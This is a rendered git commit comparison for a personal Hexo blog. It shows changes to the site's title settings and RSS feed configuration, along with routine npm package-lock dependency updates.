Compare commits
19 Commits
dependabot
...
hexo
Author | SHA1 | Date | |
---|---|---|---|
|
cb473d6f98 | ||
|
31dc77a58e | ||
|
da5e73ebce | ||
|
a979444bc9 | ||
|
2671c3d6af | ||
|
e3763f07c1 | ||
|
d2982e6969 | ||
|
984a105cd5 | ||
|
839ca8078b | ||
|
aebdd5f942 | ||
|
d80a1e043b | ||
|
ed60af1265 | ||
|
9a9ba9bb76 | ||
|
381b86165f | ||
|
c6a65abd48 | ||
|
701c7462fe | ||
|
af2eaf7c50 | ||
|
388db0fcfd | ||
|
fec4feef62 |
20
_config.yml
20
_config.yml
@ -4,8 +4,8 @@
|
||||
|
||||
# Site
|
||||
title: 混元霹雳手
|
||||
subtitle:
|
||||
description: 没人比我更懂中医#MAGA
|
||||
subtitle: Battle⚔️ 2 the world🌎
|
||||
description: Juice is temporary but Sauce is forever
|
||||
keywords:
|
||||
author: Cool-Y
|
||||
language: zh-Hans
|
||||
@ -34,6 +34,21 @@ code_dir: downloads/code
|
||||
i18n_dir: :lang
|
||||
skip_render:
|
||||
|
||||
# RSS
|
||||
# https://github.com/hexojs/hexo-generator-feed
|
||||
feed:
|
||||
type: atom
|
||||
path: atom.xml
|
||||
limit: 20
|
||||
hub:
|
||||
content:
|
||||
content_limit: 140
|
||||
content_limit_delim: ' '
|
||||
order_by: -date
|
||||
icon: icon.png
|
||||
autodiscovery: true
|
||||
template:
|
||||
|
||||
# Writing
|
||||
new_post_name: :title.md # File name of new posts
|
||||
default_layout: post
|
||||
@ -77,6 +92,7 @@ time_format: HH:mm:ss
|
||||
per_page: 10
|
||||
pagination_dir: page
|
||||
|
||||
|
||||
# Extensions
|
||||
## Plugins: https://hexo.io/plugins/
|
||||
## Themes: https://hexo.io/themes/
|
||||
|
631
package-lock.json
generated
631
package-lock.json
generated
@ -493,6 +493,17 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"clipboard": {
|
||||
"version": "2.0.6",
|
||||
"resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.6.tgz",
|
||||
"integrity": "sha512-g5zbiixBRk/wyKakSwCKd7vQXDjFnAMGHoEyBogG/bw9kTD9GvdAvaoRR1ALcEzt3pVKxZR0pViekPMIS0QyGg==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"good-listener": "^1.2.2",
|
||||
"select": "^1.1.2",
|
||||
"tiny-emitter": "^2.0.0"
|
||||
}
|
||||
},
|
||||
"cliui": {
|
||||
"version": "3.2.0",
|
||||
"resolved": "http://registry.npm.taobao.org/cliui/download/cliui-3.2.0.tgz",
|
||||
@ -545,6 +556,11 @@
|
||||
"resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.8.tgz",
|
||||
"integrity": "sha512-PM54PkseWbiiD/mMsbvW351/u+dafwTJ0ye2qB60G1aGQP9j3xK2gmMDc+R34L3nDtx4qMCitXT75mkbkGJDLw=="
|
||||
},
|
||||
"commander": {
|
||||
"version": "5.1.0",
|
||||
"resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz",
|
||||
"integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg=="
|
||||
},
|
||||
"component-emitter": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "http://registry.npm.taobao.org/component-emitter/download/component-emitter-1.2.1.tgz",
|
||||
@ -661,6 +677,11 @@
|
||||
"resolved": "http://registry.npm.taobao.org/decode-uri-component/download/decode-uri-component-0.2.0.tgz",
|
||||
"integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
|
||||
},
|
||||
"deepmerge": {
|
||||
"version": "4.2.2",
|
||||
"resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
|
||||
"integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg=="
|
||||
},
|
||||
"define-property": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "http://registry.npm.taobao.org/define-property/download/define-property-2.0.2.tgz",
|
||||
@ -708,6 +729,12 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"delegate": {
|
||||
"version": "3.2.0",
|
||||
"resolved": "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz",
|
||||
"integrity": "sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==",
|
||||
"optional": true
|
||||
},
|
||||
"depd": {
|
||||
"version": "1.1.2",
|
||||
"resolved": "http://registry.npm.taobao.org/depd/download/depd-1.1.2.tgz",
|
||||
@ -943,8 +970,7 @@
|
||||
},
|
||||
"ansi-regex": {
|
||||
"version": "2.1.1",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"aproba": {
|
||||
"version": "1.2.0",
|
||||
@ -962,13 +988,11 @@
|
||||
},
|
||||
"balanced-match": {
|
||||
"version": "1.0.0",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"brace-expansion": {
|
||||
"version": "1.1.11",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"balanced-match": "^1.0.0",
|
||||
"concat-map": "0.0.1"
|
||||
@ -981,18 +1005,15 @@
|
||||
},
|
||||
"code-point-at": {
|
||||
"version": "1.1.0",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"concat-map": {
|
||||
"version": "0.0.1",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"console-control-strings": {
|
||||
"version": "1.1.0",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"core-util-is": {
|
||||
"version": "1.0.2",
|
||||
@ -1095,8 +1116,7 @@
|
||||
},
|
||||
"inherits": {
|
||||
"version": "2.0.3",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"ini": {
|
||||
"version": "1.3.5",
|
||||
@ -1106,7 +1126,6 @@
|
||||
"is-fullwidth-code-point": {
|
||||
"version": "1.0.0",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"number-is-nan": "^1.0.0"
|
||||
}
|
||||
@ -1119,20 +1138,17 @@
|
||||
"minimatch": {
|
||||
"version": "3.0.4",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"brace-expansion": "^1.1.7"
|
||||
}
|
||||
},
|
||||
"minimist": {
|
||||
"version": "0.0.8",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"minipass": {
|
||||
"version": "2.3.5",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"safe-buffer": "^5.1.2",
|
||||
"yallist": "^3.0.0"
|
||||
@ -1149,7 +1165,6 @@
|
||||
"mkdirp": {
|
||||
"version": "0.5.1",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"minimist": "0.0.8"
|
||||
}
|
||||
@ -1222,8 +1237,7 @@
|
||||
},
|
||||
"number-is-nan": {
|
||||
"version": "1.0.1",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"object-assign": {
|
||||
"version": "4.1.1",
|
||||
@ -1233,7 +1247,6 @@
|
||||
"once": {
|
||||
"version": "1.4.0",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"wrappy": "1"
|
||||
}
|
||||
@ -1309,8 +1322,7 @@
|
||||
},
|
||||
"safe-buffer": {
|
||||
"version": "5.1.2",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"safer-buffer": {
|
||||
"version": "2.1.2",
|
||||
@ -1340,7 +1352,6 @@
|
||||
"string-width": {
|
||||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"code-point-at": "^1.0.0",
|
||||
"is-fullwidth-code-point": "^1.0.0",
|
||||
@ -1358,7 +1369,6 @@
|
||||
"strip-ansi": {
|
||||
"version": "3.0.1",
|
||||
"bundled": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"ansi-regex": "^2.0.0"
|
||||
}
|
||||
@ -1397,13 +1407,11 @@
|
||||
},
|
||||
"wrappy": {
|
||||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
},
|
||||
"yallist": {
|
||||
"version": "3.0.3",
|
||||
"bundled": true,
|
||||
"optional": true
|
||||
"bundled": true
|
||||
}
|
||||
}
|
||||
},
|
||||
@ -1447,6 +1455,15 @@
|
||||
"resolved": "http://registry.npm.taobao.org/globals/download/globals-11.11.0.tgz",
|
||||
"integrity": "sha1-3Pk3V/ot5Uhvvu1xGFOK33ienC4="
|
||||
},
|
||||
"good-listener": {
|
||||
"version": "1.2.2",
|
||||
"resolved": "https://registry.npmjs.org/good-listener/-/good-listener-1.2.2.tgz",
|
||||
"integrity": "sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"delegate": "^3.1.2"
|
||||
}
|
||||
},
|
||||
"graceful-fs": {
|
||||
"version": "4.1.15",
|
||||
"resolved": "http://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.1.15.tgz",
|
||||
@ -2034,6 +2051,147 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"hexo-generator-feed": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-generator-feed/-/hexo-generator-feed-3.0.0.tgz",
|
||||
"integrity": "sha512-Jo35VSRSNeMitS2JmjCq3OHAXXYU4+JIODujHtubdG/NRj2++b3Tgyz9pwTmROx6Yxr2php/hC8og5AGZHh8UQ==",
|
||||
"requires": {
|
||||
"hexo-util": "^2.1.0",
|
||||
"nunjucks": "^3.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"camel-case": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
|
||||
"integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
|
||||
"requires": {
|
||||
"pascal-case": "^3.1.2",
|
||||
"tslib": "^2.0.3"
|
||||
}
|
||||
},
|
||||
"cross-spawn": {
|
||||
"version": "7.0.3",
|
||||
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
|
||||
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
|
||||
"requires": {
|
||||
"path-key": "^3.1.0",
|
||||
"shebang-command": "^2.0.0",
|
||||
"which": "^2.0.1"
|
||||
}
|
||||
},
|
||||
"dom-serializer": {
|
||||
"version": "1.3.1",
|
||||
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.1.tgz",
|
||||
"integrity": "sha512-Pv2ZluG5ife96udGgEDovOOOA5UELkltfJpnIExPrAk1LTvecolUGn6lIaoLh86d83GiB86CjzciMd9BuRB71Q==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^4.0.0",
|
||||
"entities": "^2.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"domhandler": {
|
||||
"version": "4.1.0",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.1.0.tgz",
|
||||
"integrity": "sha512-/6/kmsGlMY4Tup/nGVutdrK9yQi4YjWVcVeoQmixpzjOUK1U7pQkvAPHBJeUxOgxF0J8f8lwCJSlCfD0V4CMGQ==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.2.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"domelementtype": {
|
||||
"version": "2.2.0",
|
||||
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz",
|
||||
"integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A=="
|
||||
},
|
||||
"domhandler": {
|
||||
"version": "3.3.0",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
|
||||
"integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1"
|
||||
}
|
||||
},
|
||||
"domutils": {
|
||||
"version": "2.5.2",
|
||||
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.5.2.tgz",
|
||||
"integrity": "sha512-MHTthCb1zj8f1GVfRpeZUbohQf/HdBos0oX5gZcQFepOZPLLRyj6Wn7XS7EMnY7CVpwv8863u2vyE83Hfu28HQ==",
|
||||
"requires": {
|
||||
"dom-serializer": "^1.0.1",
|
||||
"domelementtype": "^2.2.0",
|
||||
"domhandler": "^4.1.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"domhandler": {
|
||||
"version": "4.1.0",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.1.0.tgz",
|
||||
"integrity": "sha512-/6/kmsGlMY4Tup/nGVutdrK9yQi4YjWVcVeoQmixpzjOUK1U7pQkvAPHBJeUxOgxF0J8f8lwCJSlCfD0V4CMGQ==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.2.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"entities": {
|
||||
"version": "2.2.0",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
|
||||
"integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
|
||||
},
|
||||
"hexo-util": {
|
||||
"version": "2.4.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.4.0.tgz",
|
||||
"integrity": "sha512-IPQvAyn0cznYMU2gskMiZ6LZEvN7wHNusrJoYxrir4f7S7POpZeDTBswiko9R1qqd+/hu07wUYZdm4ceTTCEaA==",
|
||||
"requires": {
|
||||
"bluebird": "^3.5.2",
|
||||
"camel-case": "^4.0.0",
|
||||
"cross-spawn": "^7.0.0",
|
||||
"deepmerge": "^4.2.2",
|
||||
"highlight.js": "^10.0.0",
|
||||
"htmlparser2": "^4.0.0",
|
||||
"prismjs": "^1.17.1",
|
||||
"strip-indent": "^3.0.0",
|
||||
"striptags": "^3.1.1"
|
||||
}
|
||||
},
|
||||
"highlight.js": {
|
||||
"version": "10.7.2",
|
||||
"resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.2.tgz",
|
||||
"integrity": "sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg=="
|
||||
},
|
||||
"htmlparser2": {
|
||||
"version": "4.1.0",
|
||||
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
|
||||
"integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^3.0.0",
|
||||
"domutils": "^2.0.0",
|
||||
"entities": "^2.0.0"
|
||||
}
|
||||
},
|
||||
"strip-indent": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
|
||||
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
|
||||
"requires": {
|
||||
"min-indent": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"striptags": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/striptags/-/striptags-3.1.1.tgz",
|
||||
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
|
||||
},
|
||||
"which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
|
||||
"requires": {
|
||||
"isexe": "^2.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"hexo-generator-index": {
|
||||
"version": "0.2.1",
|
||||
"resolved": "http://registry.npm.taobao.org/hexo-generator-index/download/hexo-generator-index-0.2.1.tgz",
|
||||
@ -2043,6 +2201,153 @@
|
||||
"object-assign": "^4.0.1"
|
||||
}
|
||||
},
|
||||
"hexo-generator-json-content": {
|
||||
"version": "4.2.3",
|
||||
"resolved": "https://registry.npmjs.org/hexo-generator-json-content/-/hexo-generator-json-content-4.2.3.tgz",
|
||||
"integrity": "sha512-XGqCaTUr6+X8Ty/YvRi+0eh0DJgHcp+lgBhn+Sgyh6ev40P0cwamwJyaZroTdHt8GPoBwbSGVu0H/CdzEf0lFA==",
|
||||
"requires": {
|
||||
"hexo-util": "^2.4.0",
|
||||
"keyword-extractor": "^0.0.19",
|
||||
"moment": "^2.29.1"
|
||||
},
|
||||
"dependencies": {
|
||||
"camel-case": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
|
||||
"integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
|
||||
"requires": {
|
||||
"pascal-case": "^3.1.2",
|
||||
"tslib": "^2.0.3"
|
||||
}
|
||||
},
|
||||
"cross-spawn": {
|
||||
"version": "7.0.3",
|
||||
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
|
||||
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
|
||||
"requires": {
|
||||
"path-key": "^3.1.0",
|
||||
"shebang-command": "^2.0.0",
|
||||
"which": "^2.0.1"
|
||||
}
|
||||
},
|
||||
"dom-serializer": {
|
||||
"version": "1.2.0",
|
||||
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.2.0.tgz",
|
||||
"integrity": "sha512-n6kZFH/KlCrqs/1GHMOd5i2fd/beQHuehKdWvNNffbGHTr/almdhuVvTVFb3V7fglz+nC50fFusu3lY33h12pA==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^4.0.0",
|
||||
"entities": "^2.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"domhandler": {
|
||||
"version": "4.0.0",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.0.0.tgz",
|
||||
"integrity": "sha512-KPTbnGQ1JeEMQyO1iYXoagsI6so/C96HZiFyByU3T6iAzpXn8EGEvct6unm1ZGoed8ByO2oirxgwxBmqKF9haA==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"domelementtype": {
|
||||
"version": "2.1.0",
|
||||
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.1.0.tgz",
|
||||
"integrity": "sha512-LsTgx/L5VpD+Q8lmsXSHW2WpA+eBlZ9HPf3erD1IoPF00/3JKHZ3BknUVA2QGDNu69ZNmyFmCWBSO45XjYKC5w=="
|
||||
},
|
||||
"domhandler": {
|
||||
"version": "3.3.0",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
|
||||
"integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1"
|
||||
}
|
||||
},
|
||||
"domutils": {
|
||||
"version": "2.4.4",
|
||||
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.4.4.tgz",
|
||||
"integrity": "sha512-jBC0vOsECI4OMdD0GC9mGn7NXPLb+Qt6KW1YDQzeQYRUFKmNG8lh7mO5HiELfr+lLQE7loDVI4QcAxV80HS+RA==",
|
||||
"requires": {
|
||||
"dom-serializer": "^1.0.1",
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^4.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"domhandler": {
|
||||
"version": "4.0.0",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.0.0.tgz",
|
||||
"integrity": "sha512-KPTbnGQ1JeEMQyO1iYXoagsI6so/C96HZiFyByU3T6iAzpXn8EGEvct6unm1ZGoed8ByO2oirxgwxBmqKF9haA==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"entities": {
|
||||
"version": "2.1.0",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz",
|
||||
"integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w=="
|
||||
},
|
||||
"hexo-util": {
|
||||
"version": "2.4.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.4.0.tgz",
|
||||
"integrity": "sha512-IPQvAyn0cznYMU2gskMiZ6LZEvN7wHNusrJoYxrir4f7S7POpZeDTBswiko9R1qqd+/hu07wUYZdm4ceTTCEaA==",
|
||||
"requires": {
|
||||
"bluebird": "^3.5.2",
|
||||
"camel-case": "^4.0.0",
|
||||
"cross-spawn": "^7.0.0",
|
||||
"deepmerge": "^4.2.2",
|
||||
"highlight.js": "^10.0.0",
|
||||
"htmlparser2": "^4.0.0",
|
||||
"prismjs": "^1.17.1",
|
||||
"strip-indent": "^3.0.0",
|
||||
"striptags": "^3.1.1"
|
||||
}
|
||||
},
|
||||
"highlight.js": {
|
||||
"version": "10.5.0",
|
||||
"resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.5.0.tgz",
|
||||
"integrity": "sha512-xTmvd9HiIHR6L53TMC7TKolEj65zG1XU+Onr8oi86mYa+nLcIbxTTWkpW7CsEwv/vK7u1zb8alZIMLDqqN6KTw=="
|
||||
},
|
||||
"htmlparser2": {
|
||||
"version": "4.1.0",
|
||||
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
|
||||
"integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^3.0.0",
|
||||
"domutils": "^2.0.0",
|
||||
"entities": "^2.0.0"
|
||||
}
|
||||
},
|
||||
"moment": {
|
||||
"version": "2.29.1",
|
||||
"resolved": "https://registry.npmjs.org/moment/-/moment-2.29.1.tgz",
|
||||
"integrity": "sha512-kHmoybcPV8Sqy59DwNDY3Jefr64lK/by/da0ViFcuA4DH0vQg5Q6Ze5VimxkfQNSC+Mls/Kx53s7TjP1RhFEDQ=="
|
||||
},
|
||||
"strip-indent": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
|
||||
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
|
||||
"requires": {
|
||||
"min-indent": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"striptags": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/striptags/-/striptags-3.1.1.tgz",
|
||||
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
|
||||
},
|
||||
"which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
|
||||
"requires": {
|
||||
"isexe": "^2.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"hexo-generator-search": {
|
||||
"version": "2.4.0",
|
||||
"resolved": "http://registry.npm.taobao.org/hexo-generator-search/download/hexo-generator-search-2.4.0.tgz",
|
||||
@ -2053,24 +2358,139 @@
|
||||
}
|
||||
},
|
||||
"hexo-generator-searchdb": {
|
||||
"version": "1.0.8",
|
||||
"resolved": "http://registry.npm.taobao.org/hexo-generator-searchdb/download/hexo-generator-searchdb-1.0.8.tgz",
|
||||
"integrity": "sha1-BCRSVuFBOmYxOTLb8cCn5WhVkwE=",
|
||||
"version": "1.3.3",
|
||||
"resolved": "https://registry.npmjs.org/hexo-generator-searchdb/-/hexo-generator-searchdb-1.3.3.tgz",
|
||||
"integrity": "sha512-kfnTHa1CkeVRujiXEN4BJYioC0Y1609FNamqZcE2gVQTkBkGJIuuEz7QFaXx/H+rPWODsWKZ0Gy6ETvPNQjfXg==",
|
||||
"requires": {
|
||||
"ejs": "^1.0.0",
|
||||
"striptags": "^3.1.1",
|
||||
"utils-merge": "^1.0.0"
|
||||
"nunjucks": "^3.2.2"
|
||||
},
|
||||
"dependencies": {
|
||||
"ejs": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "http://registry.npm.taobao.org/ejs/download/ejs-1.0.0.tgz",
|
||||
"integrity": "sha1-ycYKSKRu5FL7MqccMXuV5aofyz0="
|
||||
},
|
||||
"striptags": {
|
||||
"anymatch": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "http://registry.npm.taobao.org/striptags/download/striptags-3.1.1.tgz",
|
||||
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
|
||||
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz",
|
||||
"integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"normalize-path": "^3.0.0",
|
||||
"picomatch": "^2.0.4"
|
||||
}
|
||||
},
|
||||
"binary-extensions": {
|
||||
"version": "2.1.0",
|
||||
"resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz",
|
||||
"integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==",
|
||||
"optional": true
|
||||
},
|
||||
"braces": {
|
||||
"version": "3.0.2",
|
||||
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
|
||||
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"fill-range": "^7.0.1"
|
||||
}
|
||||
},
|
||||
"chokidar": {
|
||||
"version": "3.5.0",
|
||||
"resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.0.tgz",
|
||||
"integrity": "sha512-JgQM9JS92ZbFR4P90EvmzNpSGhpPBGBSj10PILeDyYFwp4h2/D9OM03wsJ4zW1fEp4ka2DGrnUeD7FuvQ2aZ2Q==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"anymatch": "~3.1.1",
|
||||
"braces": "~3.0.2",
|
||||
"fsevents": "~2.3.1",
|
||||
"glob-parent": "~5.1.0",
|
||||
"is-binary-path": "~2.1.0",
|
||||
"is-glob": "~4.0.1",
|
||||
"normalize-path": "~3.0.0",
|
||||
"readdirp": "~3.5.0"
|
||||
}
|
||||
},
|
||||
"fill-range": {
|
||||
"version": "7.0.1",
|
||||
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
|
||||
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"to-regex-range": "^5.0.1"
|
||||
}
|
||||
},
|
||||
"fsevents": {
|
||||
"version": "2.3.1",
|
||||
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.1.tgz",
|
||||
